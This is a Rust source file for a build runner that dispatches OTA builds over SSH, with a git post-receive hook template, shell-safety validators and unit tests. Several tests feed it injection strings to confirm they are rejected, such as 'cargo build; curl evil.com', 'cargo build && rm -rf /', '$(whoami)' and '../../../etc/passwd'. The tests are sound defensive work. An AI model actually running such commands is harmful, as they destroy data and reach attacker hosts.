Skip to main content

max / makenotwork

28.3 KB · 763 lines History Blame Raw
1 //! Build runner — dispatches and executes OTA builds via SSH to remote hosts.
2 //!
3 //! The scheduler calls `dispatch_pending_build()` each tick. If no build is
4 //! running and one is pending, it spawns a `tokio::spawn` task that SSHes to
5 //! the appropriate build host, clones, builds, signs, and uploads artifacts.
6
7 use std::time::Duration;
8
9 use crate::constants::{BUILD_MAX_LOG_BYTES, BUILD_TIMEOUT_SECS};
10 use crate::db::{self, BuildStatus, DbBuild, DbBuildConfig};
11 use crate::AppState;
12
13 /// Post-receive hook script template.
14 /// `__HMAC__` is replaced with a per-repo HMAC signature so the global token
15 /// is never stored on disk. The server verifies via `HMAC(token, owner:repo)`.
16 ///
17 /// Both curl calls run backgrounded so they never block the git push, but
18 /// their stdout+stderr is appended to `hooks/post-receive.log` next to this
19 /// script. A non-zero curl exit also writes a "FAILED" line with the exit
20 /// code, so a build that never triggers is diagnosable from the repo rather
21 /// than from "why didn't anything happen." The log is append-only and grows
22 /// unbounded; truncate or rotate via the host's logrotate.
23 const POST_RECEIVE_HOOK_TEMPLATE: &str = r#"#!/bin/bash
24 REPO_PATH="$(cd "$(dirname "$0")/.." && pwd)"
25 LOG="$REPO_PATH/hooks/post-receive.log"
26 REPO_NAME="$(basename "$REPO_PATH" .git)"
27 OWNER="$(basename "$(dirname "$REPO_PATH")")"
28 while read oldrev newrev refname; do
29 case "$refname" in
30 refs/tags/v[0-9]*)
31 TAG="${refname#refs/tags/}"
32 ( exec >>"$LOG" 2>&1
33 echo "[$(date -u +%FT%TZ)] tag-push $OWNER/$REPO_NAME tag=$TAG"
34 curl -sf -X POST \
35 -H "Authorization: Bearer __HMAC__" \
36 -H "Content-Type: application/json" \
37 -d "{\"repo_owner\": \"$OWNER\", \"repo_name\": \"$REPO_NAME\", \"tag\": \"$TAG\"}" \
38 "http://localhost:3000/api/internal/builds/trigger" \
39 || echo "[$(date -u +%FT%TZ)] FAILED builds/trigger exit=$?"
40 ) &
41 ;;
42 refs/heads/*)
43 BRANCH="${refname#refs/heads/}"
44 ( exec >>"$LOG" 2>&1
45 echo "[$(date -u +%FT%TZ)] branch-push $OWNER/$REPO_NAME branch=$BRANCH"
46 curl -sf -X POST \
47 -H "Authorization: Bearer __HMAC__" \
48 -H "Content-Type: application/json" \
49 -d "{\"repo_owner\": \"$OWNER\", \"repo_name\": \"$REPO_NAME\", \"ref_name\": \"$BRANCH\", \"before\": \"$oldrev\", \"after\": \"$newrev\"}" \
50 "http://localhost:3000/api/internal/issues/process-push" \
51 || echo "[$(date -u +%FT%TZ)] FAILED issues/process-push exit=$?"
52 ) &
53 ;;
54 esac
55 done
56 "#;
57
58 /// Compute a per-repo HMAC so the global token never touches disk.
59 pub fn repo_hmac(token: &str, owner: &str, repo: &str) -> String {
60 use hmac::{Hmac, Mac};
61 use sha2::Sha256;
62 let mut mac = Hmac::<Sha256>::new_from_slice(token.as_bytes())
63 .expect("HMAC accepts any key length");
64 mac.update(format!("{owner}:{repo}").as_bytes());
65 hex::encode(mac.finalize().into_bytes())
66 }
67
68 /// Generate the post-receive hook script with a per-repo HMAC signature.
69 pub fn post_receive_hook(token: &str, owner: &str, repo: &str) -> String {
70 let hmac = repo_hmac(token, owner, repo);
71 POST_RECEIVE_HOOK_TEMPLATE.replace("__HMAC__", &hmac)
72 }
73
74 /// Map (os, arch) to a Rust target triple.
75 pub fn rust_target(os: &str, arch: &str) -> Option<&'static str> {
76 match (os, arch) {
77 ("linux", "x86_64") => Some("x86_64-unknown-linux-gnu"),
78 ("linux", "aarch64") => Some("aarch64-unknown-linux-gnu"),
79 ("darwin", "x86_64") => Some("x86_64-apple-darwin"),
80 ("darwin", "aarch64") => Some("aarch64-apple-darwin"),
81 _ => None,
82 }
83 }
84
85 /// Get the SSH build host for a target OS from config.
86 fn build_host_for_target<'a>(config: &'a crate::config::Config, os: &str) -> Option<&'a str> {
87 match os {
88 "linux" => config.build_host_linux.as_deref(),
89 "darwin" => config.build_host_darwin.as_deref(),
90 _ => None,
91 }
92 }
93
94 /// Check for a pending build and spawn it if no build is currently running.
95 ///
96 /// Called from the scheduler loop. Non-blocking — spawns the build task and returns.
97 #[tracing::instrument(skip_all, name = "build_runner::dispatch")]
98 pub async fn dispatch_pending_build(state: &AppState) {
99 // Recover from stale running builds (e.g. server crashed mid-build)
100 match db::builds::fail_stale_running_builds(&state.db, BUILD_TIMEOUT_SECS as i64).await {
101 Ok(n) if n > 0 => {
102 tracing::warn!(count = n, "marked stale running builds as failed");
103 }
104 Err(e) => {
105 tracing::error!(error = ?e, "failed to check stale builds");
106 }
107 _ => {}
108 }
109
110 let build = match db::builds::claim_pending_build(&state.db).await {
111 Ok(Some(b)) => b,
112 Ok(None) => return,
113 Err(e) => {
114 tracing::error!(error = ?e, "failed to claim pending build");
115 return;
116 }
117 };
118
119 let config = match db::builds::get_build_config_by_app(&state.db, build.app_id).await {
120 Ok(Some(c)) => c,
121 Ok(None) => {
122 tracing::error!(build_id = %build.id, "build config not found for pending build");
123 if let Err(e) = db::builds::update_build_status(
124 &state.db,
125 build.id,
126 BuildStatus::Failed,
127 Some("Build config not found"),
128 )
129 .await {
130 tracing::error!(build_id = %build.id, error = ?e, "failed to mark build as failed (config not found)");
131 }
132 return;
133 }
134 Err(e) => {
135 tracing::error!(error = ?e, "failed to get build config");
136 return;
137 }
138 };
139
140 let state = state.clone();
141 tokio::spawn(async move {
142 run_build(&state, &build, &config).await;
143 });
144 }
145
146 fn build_failure_message(succeeded: usize, failed: usize, first_error: Option<&str>) -> String {
147 if succeeded == 0 {
148 first_error.unwrap_or("no targets produced artifacts").to_string()
149 } else {
150 let total = succeeded + failed;
151 format!("partial build failure ({succeeded}/{total} targets succeeded)")
152 }
153 }
154
155 /// Execute a full build: iterate targets, SSH to hosts, build, upload artifacts.
156 #[tracing::instrument(skip_all, name = "build_runner::run_build", fields(build_id = %build.id, version = %build.version))]
157 async fn run_build(state: &AppState, build: &DbBuild, config: &DbBuildConfig) {
158 let mut artifact_keys: Vec<(String, String, String, String)> = Vec::new(); // (target_os, arch, s3_key, signature)
159 let mut failed_count: usize = 0;
160 let mut first_error: Option<String> = None;
161
162 for target_str in &config.targets {
163 let Some((target_os, arch)): Option<(&str, &str)> = target_str.split_once('/') else {
164 let msg = format!("invalid target format: {target_str}\n");
165 let _ = append_log_bounded(state, build.id, &msg).await;
166 failed_count += 1;
167 if first_error.is_none() {
168 first_error = Some(format!("invalid target format: {target_str}"));
169 }
170 continue;
171 };
172
173 let host = match build_host_for_target(&state.config, target_os) {
174 Some(h) => h,
175 None => {
176 let msg = format!("no build host for {target_os}, skipping {target_str}\n");
177 tracing::warn!("{}", msg.trim());
178 let _ = append_log_bounded(state, build.id, &msg).await;
179 failed_count += 1;
180 if first_error.is_none() {
181 first_error = Some(format!("no build host for {target_os}"));
182 }
183 continue;
184 }
185 };
186
187 match execute_target(state, build, config, host, target_os, arch).await {
188 Ok((s3_key, signature)) => {
189 artifact_keys.push((target_os.to_string(), arch.to_string(), s3_key, signature));
190 }
191 Err(e) => {
192 let msg = format!("target {target_str} failed: {e}\n");
193 tracing::error!("{}", msg.trim());
194 let _ = append_log_bounded(state, build.id, &msg).await;
195 failed_count += 1;
196 if first_error.is_none() {
197 first_error = Some(e);
198 }
199 }
200 }
201 }
202
203 if artifact_keys.is_empty() || failed_count > 0 {
204 let err_msg = build_failure_message(artifact_keys.len(), failed_count, first_error.as_deref());
205 if let Err(e) = db::builds::update_build_status(
206 &state.db,
207 build.id,
208 BuildStatus::Failed,
209 Some(&err_msg),
210 )
211 .await {
212 tracing::error!(build_id = %build.id, error = ?e, "failed to mark build as failed");
213 }
214 if let Some(ref wam) = state.wam {
215 let title = format!("Build failed: {} v{}", build.tag, build.version);
216 wam.create_ticket(&title, Some(&err_msg), "high", "build-failed", Some(&build.id.to_string())).await;
217 }
218 return;
219 }
220
221 // Use signature from the first artifact that has one (release-level field)
222 let release_signature = artifact_keys
223 .iter()
224 .find(|(_, _, _, sig)| !sig.is_empty())
225 .map(|(_, _, _, sig)| sig.as_str())
226 .unwrap_or("");
227
228 // Create OTA release (only for fully successful builds)
229 let release = match db::ota::create_release(
230 &state.db,
231 build.app_id,
232 &build.version,
233 &format!("Automated build from tag {}", build.tag),
234 release_signature,
235 )
236 .await
237 {
238 Ok(r) => r,
239 Err(e) => {
240 let msg = format!("failed to create OTA release: {e}");
241 if let Err(e) = db::builds::update_build_status(
242 &state.db,
243 build.id,
244 BuildStatus::Failed,
245 Some(&msg),
246 )
247 .await {
248 tracing::error!(build_id = %build.id, error = ?e, "failed to mark build as failed (release creation)");
249 }
250 return;
251 }
252 };
253
254 // Record artifacts
255 for (target_os, arch, s3_key, _signature) in &artifact_keys {
256 // Get file size from S3 via HEAD request (best-effort, use 0 if unavailable)
257 let file_size = if let Some(s3) = state.synckit_s3.as_ref() {
258 s3.object_size(s3_key).await.ok().flatten().unwrap_or(0)
259 } else {
260 0
261 };
262
263 if let Err(e) =
264 db::ota::create_artifact(&state.db, release.id, target_os, arch, s3_key, file_size)
265 .await
266 {
267 tracing::error!(error = ?e, "failed to record artifact");
268 }
269 }
270
271 // Link build to release
272 if let Err(e) = db::builds::set_build_release(&state.db, build.id, release.id).await {
273 tracing::error!(build_id = %build.id, release_id = %release.id, error = ?e, "failed to link build to release");
274 }
275
276 // All targets succeeded (partial failures return early above)
277 if let Err(e) = db::builds::update_build_status(
278 &state.db,
279 build.id,
280 BuildStatus::Succeeded,
281 None,
282 )
283 .await {
284 tracing::error!(build_id = %build.id, error = ?e, "failed to mark build as succeeded");
285 }
286
287 tracing::info!(
288 build_id = %build.id,
289 version = %build.version,
290 artifacts = artifact_keys.len(),
291 "build succeeded"
292 );
293 }
294
295 /// Execute a single target: SSH to host, clone, build, upload artifact.
296 async fn execute_target(
297 state: &AppState,
298 build: &DbBuild,
299 config: &DbBuildConfig,
300 host: &str,
301 target_os: &str,
302 arch: &str,
303 ) -> std::result::Result<(String, String), String> {
304 let target = format!("{target_os}/{arch}");
305 let rust_triple = rust_target(target_os, arch)
306 .ok_or_else(|| format!("unsupported target: {target}"))?;
307
308 // Look up repo for clone URL
309 let repo = db::git_repos::get_repo_by_id(&state.db, config.repo_id)
310 .await
311 .map_err(|e| format!("failed to look up repo: {e}"))?
312 .ok_or("repo not found")?;
313
314 let repo_owner = db::users::get_user_by_id(&state.db, repo.user_id)
315 .await
316 .map_err(|e| format!("failed to look up repo owner: {e}"))?
317 .ok_or("repo owner not found")?;
318
319 let git_root = state
320 .config
321 .git_repos_path
322 .as_deref()
323 .ok_or("git_repos_path not configured")?;
324
325 let clone_path = format!("{git_root}/{}/{}.git", repo_owner.username, repo.name);
326 let build_dir = format!("/tmp/mnw-build-{}", build.id);
327
328 // Template substitution for build_command and artifact_path
329 let build_cmd = config
330 .build_command
331 .replace("{target}", rust_triple)
332 .replace("{version}", &build.version);
333 let artifact_path = config
334 .artifact_path
335 .replace("{target}", rust_triple)
336 .replace("{version}", &build.version);
337
338 // Validate build_command and artifact_path before interpolation into shell
339 validate_build_command(&build_cmd)
340 .map_err(|e| format!("invalid build command: {e}"))?;
341 validate_artifact_path(&artifact_path)
342 .map_err(|e| format!("invalid artifact path: {e}"))?;
343
344 // Build the SSH command sequence
345 // Note: build_cmd is validated (no shell metacharacters beyond safe set) but
346 // intentionally NOT shell-escaped since it must execute as a shell command.
347 // artifact_path is validated AND shell-escaped since it's used as a file path.
348 let remote_script = format!(
349 "set -e && \
350 git clone --depth 1 --branch {tag} {clone_path} {build_dir} && \
351 cd {build_dir} && \
352 {build_cmd} && \
353 test -f {artifact_path}",
354 tag = shell_escape(&build.tag),
355 clone_path = shell_escape(&clone_path),
356 build_dir = shell_escape(&build_dir),
357 build_cmd = build_cmd,
358 artifact_path = shell_escape(&artifact_path),
359 );
360
361 let log_msg = format!("[{target}] building on {host}...\n");
362 let _ = append_log_bounded(state, build.id, &log_msg).await;
363
364 // Execute via SSH with timeout
365 let ssh_result = tokio::time::timeout(
366 Duration::from_secs(BUILD_TIMEOUT_SECS),
367 run_ssh_command(host, &remote_script),
368 )
369 .await;
370
371 let output = match ssh_result {
372 Ok(Ok(output)) => output,
373 Ok(Err(e)) => {
374 // Cleanup remote build dir (best-effort)
375 let _ = run_ssh_command(host, &format!("rm -rf {}", shell_escape(&build_dir))).await;
376 return Err(format!("SSH command failed: {e}"));
377 }
378 Err(_) => {
379 let _ = run_ssh_command(host, &format!("rm -rf {}", shell_escape(&build_dir))).await;
380 return Err("build timed out".to_string());
381 }
382 };
383
384 let _ = append_log_bounded(state, build.id, &format!("[{target}] {}\n", output.trim())).await;
385
386 // SCP artifact back and upload to S3
387 let s3_key = format!("ota/{}/{}/{target_os}/{arch}/artifact", build.app_id, build.version);
388
389 // Copy artifact from remote to local temp
390 let local_tmp = format!("/tmp/mnw-artifact-{}-{target_os}-{arch}", build.id);
391 let scp_remote_path = format!(
392 "{}/{}",
393 build_dir.trim_end_matches('/'),
394 artifact_path.trim_start_matches('/')
395 );
396 let scp_result = run_scp_download(host, &scp_remote_path, &local_tmp).await;
397
398 // Best-effort: try to download the .sig file (Tauri builds produce one)
399 let local_sig_tmp = format!("{local_tmp}.sig");
400 let scp_sig_result =
401 run_scp_download(host, &format!("{scp_remote_path}.sig"), &local_sig_tmp).await;
402
403 // Cleanup remote build dir
404 let _ = run_ssh_command(host, &format!("rm -rf {}", shell_escape(&build_dir))).await;
405
406 if let Err(e) = scp_result {
407 // The main artifact failed, but the .sig sidecar may already be on disk
408 // from its own scp above. Clean it up before bailing so a retry loop
409 // doesn't accumulate orphaned .sig temp files (the main temp is removed
410 // unconditionally further down, but on this early return it was never
411 // created).
412 let _ = tokio::fs::remove_file(&local_sig_tmp).await;
413 return Err(format!("SCP download failed: {e}"));
414 }
415
416 // Read signature from .sig file if it was downloaded
417 let signature = if scp_sig_result.is_ok() {
418 let sig = tokio::fs::read_to_string(&local_sig_tmp)
419 .await
420 .unwrap_or_default();
421 let _ = tokio::fs::remove_file(&local_sig_tmp).await;
422 sig
423 } else {
424 String::new()
425 };
426
427 // Upload to S3 via multipart streaming from disk — the previous
428 // implementation `tokio::fs::read` → `Vec<u8>` → `upload_object` pinned
429 // the entire artifact (up to ~100 MB per build) in RAM during upload.
430 // `upload_multipart` reads the file in chunks and lets the S3 SDK do
431 // parallel part uploads, keeping memory bounded regardless of artifact
432 // size.
433 let synckit_s3 = state
434 .synckit_s3
435 .as_ref()
436 .ok_or("SyncKit storage not configured")?;
437
438 let upload_result = synckit_s3
439 .upload_multipart(
440 &s3_key,
441 "application/octet-stream",
442 std::path::Path::new(&local_tmp),
443 )
444 .await
445 .map_err(|e| format!("S3 multipart upload failed: {e}"));
446
447 // Always remove the local temp file, even if the upload failed — leaving
448 // it on disk fills the build runner's tmp directory across retries.
449 let _ = tokio::fs::remove_file(&local_tmp).await;
450
451 upload_result?;
452
453 if !signature.is_empty() {
454 let _ = append_log_bounded(
455 state,
456 build.id,
457 &format!("[{target}] uploaded to {s3_key} (signed)\n"),
458 )
459 .await;
460 } else {
461 let _ = append_log_bounded(
462 state,
463 build.id,
464 &format!("[{target}] uploaded to {s3_key}\n"),
465 )
466 .await;
467 }
468
469 Ok((s3_key, signature))
470 }
471
472 /// Path to a known_hosts file for build SSH connections.
473 /// When present, StrictHostKeyChecking=yes is used (pinned keys).
474 /// When absent, StrictHostKeyChecking=accept-new (trust on first use).
475 const BUILD_SSH_KNOWN_HOSTS: &str = "/etc/mnw/known_hosts";
476
477 /// Run a command on a remote host via SSH.
478 async fn run_ssh_command(host: &str, command: &str) -> std::result::Result<String, String> {
479 let mut args = vec!["-o", "ConnectTimeout=10", "-o", "BatchMode=yes"];
480 let known_hosts_arg;
481 if std::path::Path::new(BUILD_SSH_KNOWN_HOSTS).exists() {
482 args.extend(["-o", "StrictHostKeyChecking=yes", "-o"]);
483 known_hosts_arg = format!("UserKnownHostsFile={BUILD_SSH_KNOWN_HOSTS}");
484 args.push(&known_hosts_arg);
485 } else {
486 args.extend(["-o", "StrictHostKeyChecking=accept-new"]);
487 }
488 args.push(host);
489 args.push(command);
490 let output = tokio::process::Command::new("ssh")
491 .args(&args)
492 .output()
493 .await
494 .map_err(|e| format!("failed to spawn ssh: {e}"))?;
495
496 if output.status.success() {
497 Ok(String::from_utf8_lossy(&output.stdout).to_string())
498 } else {
499 let stderr = String::from_utf8_lossy(&output.stderr);
500 Err(format!(
501 "exit code {}: {}",
502 output.status.code().unwrap_or(-1),
503 stderr.trim()
504 ))
505 }
506 }
507
508 /// Download a file from a remote host via SCP.
509 async fn run_scp_download(
510 host: &str,
511 remote_path: &str,
512 local_path: &str,
513 ) -> std::result::Result<(), String> {
514 let remote = format!("{host}:{remote_path}");
515 let mut args: Vec<&str> = vec!["-o", "ConnectTimeout=10", "-o", "BatchMode=yes"];
516 let known_hosts_arg;
517 if std::path::Path::new(BUILD_SSH_KNOWN_HOSTS).exists() {
518 args.extend(["-o", "StrictHostKeyChecking=yes", "-o"]);
519 known_hosts_arg = format!("UserKnownHostsFile={BUILD_SSH_KNOWN_HOSTS}");
520 args.push(&known_hosts_arg);
521 } else {
522 args.extend(["-o", "StrictHostKeyChecking=accept-new"]);
523 }
524 args.push(&remote);
525 args.push(local_path);
526 let output = tokio::process::Command::new("scp")
527 .args(&args)
528 .output()
529 .await
530 .map_err(|e| format!("failed to spawn scp: {e}"))?;
531
532 if output.status.success() {
533 Ok(())
534 } else {
535 let stderr = String::from_utf8_lossy(&output.stderr);
536 Err(format!(
537 "exit code {}: {}",
538 output.status.code().unwrap_or(-1),
539 stderr.trim()
540 ))
541 }
542 }
543
544 /// Append to build log, respecting the max log size.
545 ///
546 /// Probes `octet_length(log)` instead of fetching the whole row (the log
547 /// column tops out at 5 MiB and is read on every line append).
548 async fn append_log_bounded(
549 state: &AppState,
550 build_id: db::BuildId,
551 line: &str,
552 ) -> crate::error::Result<()> {
553 const TRUNCATED: &str = "[log truncated]\n";
554 if let Some((current_len, already_truncated)) =
555 db::builds::get_build_log_size(&state.db, build_id, TRUNCATED).await?
556 && (current_len as usize) + line.len() > BUILD_MAX_LOG_BYTES
557 {
558 if !already_truncated {
559 tracing::warn!(build_id = %build_id, "Build log exceeded {} bytes, truncating", BUILD_MAX_LOG_BYTES);
560 db::builds::append_build_log(&state.db, build_id, TRUNCATED).await?;
561 }
562 return Ok(());
563 }
564 let sanitized = strip_ansi_escapes(line);
565 db::builds::append_build_log(&state.db, build_id, &sanitized).await
566 }
567
568 /// Strip ANSI escape sequences (e.g. color codes) from build output before
569 /// storing it in the database.
570 fn strip_ansi_escapes(s: &str) -> String {
571 let mut result = String::with_capacity(s.len());
572 let mut chars = s.chars();
573 while let Some(c) = chars.next() {
574 if c == '\x1b' {
575 // Consume the next char; if it's '[' we have a CSI sequence
576 // and we skip parameter/intermediate bytes up to the final byte.
577 // Otherwise (OSC / other sequences) just drop the two-char escape.
578 if let Some(next) = chars.next()
579 && next == '['
580 {
581 // CSI sequence: skip until we hit a letter (0x40..=0x7E).
582 for tail in chars.by_ref() {
583 if tail.is_ascii_alphabetic() {
584 break;
585 }
586 }
587 }
588 } else {
589 result.push(c);
590 }
591 }
592 result
593 }
594
595 /// Validate a build command for shell safety.
596 ///
597 /// Rejects shell metacharacters that enable command chaining or redirection.
598 /// Allowed: alphanumeric, spaces, hyphens, underscores, dots, slashes, equals,
599 /// braces (for template vars), colons, commas, plus signs.
600 pub fn validate_build_command(cmd: &str) -> std::result::Result<(), String> {
601 if cmd.is_empty() {
602 return Err("build command is empty".to_string());
603 }
604 if cmd.len() > 1024 {
605 return Err("build command too long (max 1024 chars)".to_string());
606 }
607 for (i, c) in cmd.chars().enumerate() {
608 match c {
609 'a'..='z' | 'A'..='Z' | '0'..='9' => {}
610 ' ' | '-' | '_' | '.' | '/' | '=' | ':' | ',' | '+' | '{' | '}' | '@' => {}
611 ';' | '&' | '|' | '$' | '`' | '(' | ')' | '<' | '>' | '!' | '\\' | '\'' | '"'
612 | '\n' | '\r' | '\0' => {
613 return Err(format!(
614 "shell metacharacter '{}' at position {} is not allowed",
615 c.escape_default(),
616 i
617 ));
618 }
619 _ => {
620 return Err(format!(
621 "unexpected character '{}' at position {} is not allowed",
622 c.escape_default(),
623 i
624 ));
625 }
626 }
627 }
628 Ok(())
629 }
630
631 /// Validate an artifact path for shell and path safety.
632 ///
633 /// Must be a relative path with no shell metacharacters or path traversal.
634 pub fn validate_artifact_path(path: &str) -> std::result::Result<(), String> {
635 if path.is_empty() {
636 return Err("artifact path is empty".to_string());
637 }
638 if path.len() > 512 {
639 return Err("artifact path too long (max 512 chars)".to_string());
640 }
641 if path.starts_with('/') {
642 return Err("artifact path must be relative".to_string());
643 }
644 if path.contains("..") {
645 return Err("artifact path must not contain '..'".to_string());
646 }
647 for (i, c) in path.chars().enumerate() {
648 match c {
649 'a'..='z' | 'A'..='Z' | '0'..='9' => {}
650 '-' | '_' | '.' | '/' | '{' | '}' | '+' => {}
651 ';' | '&' | '|' | '$' | '`' | '(' | ')' | '<' | '>' | '!' | '\\' | '\'' | '"'
652 | ' ' | '\n' | '\r' | '\0' => {
653 return Err(format!(
654 "character '{}' at position {} is not allowed in artifact path",
655 c.escape_default(),
656 i
657 ));
658 }
659 _ => {
660 return Err(format!(
661 "unexpected character '{}' at position {} is not allowed in artifact path",
662 c.escape_default(),
663 i
664 ));
665 }
666 }
667 }
668 Ok(())
669 }
670
671 /// Escape a string for safe use in a shell command.
672 fn shell_escape(s: &str) -> String {
673 format!("'{}'", s.replace('\'', "'\\''"))
674 }
675
676 #[cfg(test)]
677 mod tests {
678 use super::*;
679
680 #[test]
681 fn build_failure_message_partial() {
682 assert_eq!(
683 build_failure_message(1, 2, Some("boom")),
684 "partial build failure (1/3 targets succeeded)"
685 );
686 assert_eq!(
687 build_failure_message(2, 1, Some("boom")),
688 "partial build failure (2/3 targets succeeded)"
689 );
690 }
691
692 #[test]
693 fn build_failure_message_total_failure_uses_first_error() {
694 assert_eq!(build_failure_message(0, 3, Some("ssh down")), "ssh down");
695 assert_eq!(build_failure_message(0, 0, None), "no targets produced artifacts");
696 }
697
698 #[test]
699 fn rust_target_mapping() {
700 assert_eq!(rust_target("linux", "x86_64"), Some("x86_64-unknown-linux-gnu"));
701 assert_eq!(rust_target("linux", "aarch64"), Some("aarch64-unknown-linux-gnu"));
702 assert_eq!(rust_target("darwin", "x86_64"), Some("x86_64-apple-darwin"));
703 assert_eq!(rust_target("darwin", "aarch64"), Some("aarch64-apple-darwin"));
704 assert_eq!(rust_target("windows", "x86_64"), None);
705 }
706
707 #[test]
708 fn hook_template_contains_hmac_not_raw_token() {
709 let hook = post_receive_hook("secret-token-123", "alice", "myrepo");
710 let expected_hmac = repo_hmac("secret-token-123", "alice", "myrepo");
711 assert!(hook.contains(&expected_hmac), "hook should contain per-repo HMAC");
712 assert!(!hook.contains("secret-token-123"), "hook must not contain raw token");
713 assert!(!hook.contains("__HMAC__"), "placeholder should be replaced");
714 assert!(hook.contains("/api/internal/builds/trigger"));
715 }
716
717 #[test]
718 fn repo_hmac_differs_per_repo() {
719 let h1 = repo_hmac("token", "alice", "repo-a");
720 let h2 = repo_hmac("token", "alice", "repo-b");
721 assert_ne!(h1, h2, "different repos should produce different HMACs");
722 }
723
724 #[test]
725 fn shell_escape_basic() {
726 assert_eq!(shell_escape("hello"), "'hello'");
727 assert_eq!(shell_escape("it's"), "'it'\\''s'");
728 }
729
730 #[test]
731 fn validate_build_command_accepts_safe_commands() {
732 assert!(validate_build_command("cargo build --release --target x86_64-unknown-linux-gnu").is_ok());
733 assert!(validate_build_command("make -j4").is_ok());
734 assert!(validate_build_command("RUSTFLAGS=--cfg tokio_unstable cargo build").is_ok());
735 }
736
737 #[test]
738 fn validate_build_command_rejects_injection() {
739 assert!(validate_build_command("cargo build; curl evil.com").is_err());
740 assert!(validate_build_command("cargo build && rm -rf /").is_err());
741 assert!(validate_build_command("cargo build | tee log").is_err());
742 assert!(validate_build_command("$(whoami)").is_err());
743 assert!(validate_build_command("`whoami`").is_err());
744 assert!(validate_build_command("cargo build > /dev/null").is_err());
745 assert!(validate_build_command("").is_err());
746 }
747
748 #[test]
749 fn validate_artifact_path_accepts_safe_paths() {
750 assert!(validate_artifact_path("target/x86_64-unknown-linux-gnu/release/myapp").is_ok());
751 assert!(validate_artifact_path("dist/app-v0.1.0.tar.gz").is_ok());
752 }
753
754 #[test]
755 fn validate_artifact_path_rejects_unsafe() {
756 assert!(validate_artifact_path("/etc/passwd").is_err());
757 assert!(validate_artifact_path("../../../etc/passwd").is_err());
758 assert!(validate_artifact_path("path with spaces").is_err());
759 assert!(validate_artifact_path("$(whoami)").is_err());
760 assert!(validate_artifact_path("").is_err());
761 }
762 }
763